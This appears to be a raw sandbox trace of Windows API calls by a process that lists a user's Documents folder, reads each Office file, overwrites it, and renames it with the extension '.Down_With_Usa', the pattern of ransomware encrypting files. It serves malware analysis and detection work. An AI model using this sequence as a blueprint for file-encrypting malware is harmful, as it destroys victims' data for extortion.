[0117.948] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25f14b60, ftCreationTime.dwHighDateTime=0x1d57951, ftLastAccessTime.dwLowDateTime=0x5f669830, ftLastAccessTime.dwHighDateTime=0x1d58745, ftLastWriteTime.dwLowDateTime=0x5f669830, ftLastWriteTime.dwHighDateTime=0x1d58745, nFileSizeHigh=0x0, nFileSizeLow=0x10a08, dwReserved0=0x0, dwReserved1=0x0, cFileName="yOGq-nHH7u4.docx", cAlternateFileName="YOGQ-N~1.DOC")) returned 1
[0117.949] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75650f90, ftCreationTime.dwHighDateTime=0x1d5c584, ftLastAccessTime.dwLowDateTime=0x746539d0, ftLastAccessTime.dwHighDateTime=0x1d56760, ftLastWriteTime.dwLowDateTime=0x746539d0, ftLastWriteTime.dwHighDateTime=0x1d56760, nFileSizeHigh=0x0, nFileSizeLow=0x99e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="z3BojLPubdP0.docx", cAlternateFileName="Z3BOJL~1.DOC")) returned 1
[0117.949] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
[0117.949] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0117.949] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebfd0) returned 1
[0117.949] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebf90) returned 1
[0117.949] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ec080) returned 1
[0117.949] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", nBufferLength=0x105, lpBuffer=0x2ebb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", lpFilePart=0x0) returned 0x27
[0117.950] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", nBufferLength=0x105, lpBuffer=0x2ebb10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", lpFilePart=0x0) returned 0x28
[0117.950] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*", lpFindFileData=0x2ebd20 | out: lpFindFileData=0x2ebd20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xdaa89f20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdaa89f20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0117.950] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xdaa89f20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdaa89f20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0117.950] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9eff680, ftCreationTime.dwHighDateTime=0x1d5ddc1, ftLastAccessTime.dwLowDateTime=0x1416e490, ftLastAccessTime.dwHighDateTime=0x1d5d9aa, ftLastWriteTime.dwLowDateTime=0x1416e490, ftLastWriteTime.dwHighDateTime=0x1d5d9aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="-7ZVeclo4chRuWb-m d", cAlternateFileName="-7ZVEC~1")) returned 1
[0117.950] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb279140, ftCreationTime.dwHighDateTime=0x1d59d73, ftLastAccessTime.dwLowDateTime=0x23de10f0, ftLastAccessTime.dwHighDateTime=0x1d5da37, ftLastWriteTime.dwLowDateTime=0x23de10f0, ftLastWriteTime.dwHighDateTime=0x1d5da37, nFileSizeHigh=0x0, nFileSizeLow=0x100dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="0ynk2co-Oa6OkC4.pptx", cAlternateFileName="0YNK2C~1.PPT")) returned 1
[0117.950] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c6d45b0, ftCreationTime.dwHighDateTime=0x1d5601e, ftLastAccessTime.dwLowDateTime=0x90cde1a0, ftLastAccessTime.dwHighDateTime=0x1d57b8b, ftLastWriteTime.dwLowDateTime=0x90cde1a0, ftLastWriteTime.dwHighDateTime=0x1d57b8b, nFileSizeHigh=0x0, nFileSizeLow=0x9d29, dwReserved0=0x0, dwReserved1=0x0, cFileName="3M9 J2MIs-i26K3.xlsx", cAlternateFileName="3M9J2M~1.XLS")) returned 1
[0117.950] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd59392e0, ftCreationTime.dwHighDateTime=0x1d5dc15, ftLastAccessTime.dwLowDateTime=0x370a0080, ftLastAccessTime.dwHighDateTime=0x1d5e667, ftLastWriteTime.dwLowDateTime=0x370a0080, ftLastWriteTime.dwHighDateTime=0x1d5e667, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5ehfu7t1E3TB", cAlternateFileName="5EHFU7~1")) returned 1
[0117.951] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c6dc90, ftCreationTime.dwHighDateTime=0x1d57003, ftLastAccessTime.dwLowDateTime=0x93a3bdd0, ftLastAccessTime.dwHighDateTime=0x1d57f84, ftLastWriteTime.dwLowDateTime=0x93a3bdd0, ftLastWriteTime.dwHighDateTime=0x1d57f84, nFileSizeHigh=0x0, nFileSizeLow=0x5a50, dwReserved0=0x0, dwReserved1=0x0, cFileName="aWtiCahM.pptx", cAlternateFileName="AWTICA~1.PPT")) returned 1
[0117.951] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8321530, ftCreationTime.dwHighDateTime=0x1d5a4bc, ftLastAccessTime.dwLowDateTime=0x74f8a7c0, ftLastAccessTime.dwHighDateTime=0x1d5c1d7, ftLastWriteTime.dwLowDateTime=0x74f8a7c0, ftLastWriteTime.dwHighDateTime=0x1d5c1d7, nFileSizeHigh=0x0, nFileSizeLow=0x10683, dwReserved0=0x0, dwReserved1=0x0, cFileName="CiAOgIqfyBwAbK406MX.pptx", cAlternateFileName="CIAOGI~1.PPT")) returned 1
[0117.951] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0117.951] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c43f50, ftCreationTime.dwHighDateTime=0x1d5c7d2, ftLastAccessTime.dwLowDateTime=0xce4c82f0, ftLastAccessTime.dwHighDateTime=0x1d5d484, ftLastWriteTime.dwLowDateTime=0xce4c82f0, ftLastWriteTime.dwHighDateTime=0x1d5d484, nFileSizeHigh=0x0, nFileSizeLow=0xad2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="g1DQq3TE.xlsx", cAlternateFileName="G1DQQ3~1.XLS")) returned 1
[0117.951] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0638210, ftCreationTime.dwHighDateTime=0x1d55ec4, ftLastAccessTime.dwLowDateTime=0xd760d390, ftLastAccessTime.dwHighDateTime=0x1d59b00, ftLastWriteTime.dwLowDateTime=0xd760d390, ftLastWriteTime.dwHighDateTime=0x1d59b00, nFileSizeHigh=0x0, nFileSizeLow=0x7a0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="gbhinf.docx", cAlternateFileName="GBHINF~1.DOC")) returned 1
[0117.951] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b0c5ff0, ftCreationTime.dwHighDateTime=0x1d56afd, ftLastAccessTime.dwLowDateTime=0xa6f66e80, ftLastAccessTime.dwHighDateTime=0x1d5c5b8, ftLastWriteTime.dwLowDateTime=0xa6f66e80, ftLastWriteTime.dwHighDateTime=0x1d5c5b8, nFileSizeHigh=0x0, nFileSizeLow=0xa512, dwReserved0=0x0, dwReserved1=0x0, cFileName="H8ivmRdRUdGkJ.pptx", cAlternateFileName="H8IVMR~1.PPT")) returned 1
[0117.951] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4ebad40, ftCreationTime.dwHighDateTime=0x1d57ea4, ftLastAccessTime.dwLowDateTime=0xe6e60b20, ftLastAccessTime.dwHighDateTime=0x1d58145, ftLastWriteTime.dwLowDateTime=0xe6e60b20, ftLastWriteTime.dwHighDateTime=0x1d58145, nFileSizeHigh=0x0, nFileSizeLow=0x1379, dwReserved0=0x0, dwReserved1=0x0, cFileName="IDFOI5o_3T4O.xlsx", cAlternateFileName="IDFOI5~1.XLS")) returned 1
[0117.951] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41fb7760, ftCreationTime.dwHighDateTime=0x1d5b8dd, ftLastAccessTime.dwLowDateTime=0x70ae1810, ftLastAccessTime.dwHighDateTime=0x1d5b108, ftLastWriteTime.dwLowDateTime=0x70ae1810, ftLastWriteTime.dwHighDateTime=0x1d5b108, nFileSizeHigh=0x0, nFileSizeLow=0x1780f, dwReserved0=0x0, dwReserved1=0x0, cFileName="IUEU zajv8i.pptx", cAlternateFileName="IUEUZA~1.PPT")) returned 1
[0117.951] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0b5e0d0, ftCreationTime.dwHighDateTime=0x1d57817, ftLastAccessTime.dwLowDateTime=0x9a1f8150, ftLastAccessTime.dwHighDateTime=0x1d5b100, ftLastWriteTime.dwLowDateTime=0x9a1f8150, ftLastWriteTime.dwHighDateTime=0x1d5b100, nFileSizeHigh=0x0, nFileSizeLow=0xf4fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="JBaHIgAqTJA.xlsx", cAlternateFileName="JBAHIG~1.XLS")) returned 1
[0117.951] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c92dce0, ftCreationTime.dwHighDateTime=0x1d5b6ce, ftLastAccessTime.dwLowDateTime=0x3b3de6e0, ftLastAccessTime.dwHighDateTime=0x1d583a6, ftLastWriteTime.dwLowDateTime=0x3b3de6e0, ftLastWriteTime.dwHighDateTime=0x1d583a6, nFileSizeHigh=0x0, nFileSizeLow=0x163d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="kyGGi7Mewmm.docx", cAlternateFileName="KYGGI7~1.DOC")) returned 1
[0117.951] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb8876e0, ftCreationTime.dwHighDateTime=0x1d5d827, ftLastAccessTime.dwLowDateTime=0xa14dd140, ftLastAccessTime.dwHighDateTime=0x1d5e5c4, ftLastWriteTime.dwLowDateTime=0xa14dd140, ftLastWriteTime.dwHighDateTime=0x1d5e5c4, nFileSizeHigh=0x0, nFileSizeLow=0xd9fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="m66qahNRMTKLGBLHJw.ods", cAlternateFileName="M66QAH~1.ODS")) returned 1
[0117.951] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1
[0117.951] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1
[0117.951] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="My Shapes", cAlternateFileName="MYSHAP~1")) returned 1
[0117.951] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1
[0117.952] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x8a4af3c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x8a4af3c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook Files", cAlternateFileName="OUTLOO~1")) returned 1
[0117.952] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe334dcf0, ftCreationTime.dwHighDateTime=0x1d5e440, ftLastAccessTime.dwLowDateTime=0xd14b5490, ftLastAccessTime.dwHighDateTime=0x1d5de07, ftLastWriteTime.dwLowDateTime=0xd14b5490, ftLastWriteTime.dwHighDateTime=0x1d5de07, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OZ1hK", cAlternateFileName="")) returned 1
[0117.952] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55d9c370, ftCreationTime.dwHighDateTime=0x1d56cdb, ftLastAccessTime.dwLowDateTime=0x58ad0f20, ftLastAccessTime.dwHighDateTime=0x1d57367, ftLastWriteTime.dwLowDateTime=0x58ad0f20, ftLastWriteTime.dwHighDateTime=0x1d57367, nFileSizeHigh=0x0, nFileSizeLow=0x8b0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pzk5f8oRu5.docx", cAlternateFileName="PZK5F8~1.DOC")) returned 1
[0117.952] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b072030, ftCreationTime.dwHighDateTime=0x1d5a88b, ftLastAccessTime.dwLowDateTime=0xf5f79c20, ftLastAccessTime.dwHighDateTime=0x1d5bcb7, ftLastWriteTime.dwLowDateTime=0xf5f79c20, ftLastWriteTime.dwHighDateTime=0x1d5bcb7, nFileSizeHigh=0x0, nFileSizeLow=0x9e20, dwReserved0=0x0, dwReserved1=0x0, cFileName="RROSpJzOY.xlsx", cAlternateFileName="RROSPJ~1.XLS")) returned 1
[0117.952] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaafa0270, ftCreationTime.dwHighDateTime=0x1d5d7ed, ftLastAccessTime.dwLowDateTime=0x4c10fb20, ftLastAccessTime.dwHighDateTime=0x1d5d88c, ftLastWriteTime.dwLowDateTime=0x4c10fb20, ftLastWriteTime.dwHighDateTime=0x1d5d88c, nFileSizeHigh=0x0, nFileSizeLow=0x111b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="sNUw0vqjwlQLBuBn7.pps", cAlternateFileName="SNUW0V~1.PPS")) returned 1
[0117.952] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25f14b60, ftCreationTime.dwHighDateTime=0x1d57951, ftLastAccessTime.dwLowDateTime=0x5f669830, ftLastAccessTime.dwHighDateTime=0x1d58745, ftLastWriteTime.dwLowDateTime=0x5f669830, ftLastWriteTime.dwHighDateTime=0x1d58745, nFileSizeHigh=0x0, nFileSizeLow=0x10a08, dwReserved0=0x0, dwReserved1=0x0, cFileName="yOGq-nHH7u4.docx", cAlternateFileName="YOGQ-N~1.DOC")) returned 1
[0117.952] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75650f90, ftCreationTime.dwHighDateTime=0x1d5c584, ftLastAccessTime.dwLowDateTime=0x746539d0, ftLastAccessTime.dwHighDateTime=0x1d56760, ftLastWriteTime.dwLowDateTime=0x746539d0, ftLastWriteTime.dwHighDateTime=0x1d56760, nFileSizeHigh=0x0, nFileSizeLow=0x99e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="z3BojLPubdP0.docx", cAlternateFileName="Z3BOJL~1.DOC")) returned 1
[0117.952] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75650f90, ftCreationTime.dwHighDateTime=0x1d5c584, ftLastAccessTime.dwLowDateTime=0x746539d0, ftLastAccessTime.dwHighDateTime=0x1d56760, ftLastWriteTime.dwLowDateTime=0x746539d0, ftLastWriteTime.dwHighDateTime=0x1d56760, nFileSizeHigh=0x0, nFileSizeLow=0x99e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="z3BojLPubdP0.docx", cAlternateFileName="Z3BOJL~1.DOC")) returned 0
[0117.952] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0117.952] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebfd0) returned 1
[0117.952] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebf90) returned 1
[0117.953] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\0ynk2co-Oa6OkC4.pptx", nBufferLength=0x105, lpBuffer=0x2eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\0ynk2co-Oa6OkC4.pptx", lpFilePart=0x0) returned 0x3c
[0117.953] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd90) returned 1
[0117.953] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\0ynk2co-Oa6OkC4.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\0ynk2co-oa6okc4.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0117.953] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd00) returned 1
[0117.953] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2ebf28 | out: lpFileSizeHigh=0x2ebf28*=0x0) returned 0x100dd
[0117.953] ReadFile (in: hFile=0x3a8, lpBuffer=0x2679c88, nNumberOfBytesToRead=0x100dd, lpNumberOfBytesRead=0x2ebe58, lpOverlapped=0x0 | out: lpBuffer=0x2679c88*, lpNumberOfBytesRead=0x2ebe58*=0x100dd, lpOverlapped=0x0) returned 1
[0117.988] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\0ynk2co-Oa6OkC4.pptx", nBufferLength=0x105, lpBuffer=0x2eb8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\0ynk2co-Oa6OkC4.pptx", lpFilePart=0x0) returned 0x3c
[0117.989] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebda0) returned 1
[0117.989] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\0ynk2co-Oa6OkC4.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\0ynk2co-oa6okc4.pptx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0117.991] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd10) returned 1
[0117.993] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\0ynk2co-Oa6OkC4.pptx", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\0ynk2co-Oa6OkC4.pptx", lpFilePart=0x0) returned 0x3c
[0117.993] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\0ynk2co-Oa6OkC4.pptx.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\0ynk2co-Oa6OkC4.pptx.Down_With_Usa", lpFilePart=0x0) returned 0x4a
[0117.993] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebea0) returned 1
[0117.993] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\0ynk2co-Oa6OkC4.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\0ynk2co-oa6okc4.pptx"), fInfoLevelId=0x0, lpFileInformation=0x2ebf80 | out: lpFileInformation=0x2ebf80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb279140, ftCreationTime.dwHighDateTime=0x1d59d73, ftLastAccessTime.dwLowDateTime=0x23de10f0, ftLastAccessTime.dwHighDateTime=0x1d5da37, ftLastWriteTime.dwLowDateTime=0x22cec300, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x100e0)) returned 1
[0117.994] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebe60) returned 1
[0117.994] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\0ynk2co-Oa6OkC4.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\0ynk2co-oa6okc4.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\0ynk2co-Oa6OkC4.pptx.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\0ynk2co-oa6okc4.pptx.down_with_usa")) returned 1
[0117.995] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3M9 J2MIs-i26K3.xlsx", nBufferLength=0x105, lpBuffer=0x2eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3M9 J2MIs-i26K3.xlsx", lpFilePart=0x0) returned 0x3c
[0117.995] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd90) returned 1
[0117.995] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3M9 J2MIs-i26K3.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\3m9 j2mis-i26k3.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0117.995] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd00) returned 1
[0117.995] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2ebf28 | out: lpFileSizeHigh=0x2ebf28*=0x0) returned 0x9d29
[0117.995] ReadFile (in: hFile=0x3a8, lpBuffer=0x27a5ec0, nNumberOfBytesToRead=0x9d29, lpNumberOfBytesRead=0x2ebe58, lpOverlapped=0x0 | out: lpBuffer=0x27a5ec0*, lpNumberOfBytesRead=0x2ebe58*=0x9d29, lpOverlapped=0x0) returned 1
[0118.039] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3M9 J2MIs-i26K3.xlsx", nBufferLength=0x105, lpBuffer=0x2eb8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3M9 J2MIs-i26K3.xlsx", lpFilePart=0x0) returned 0x3c
[0118.039] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebda0) returned 1
[0118.039] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3M9 J2MIs-i26K3.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\3m9 j2mis-i26k3.xlsx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0118.041] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd10) returned 1
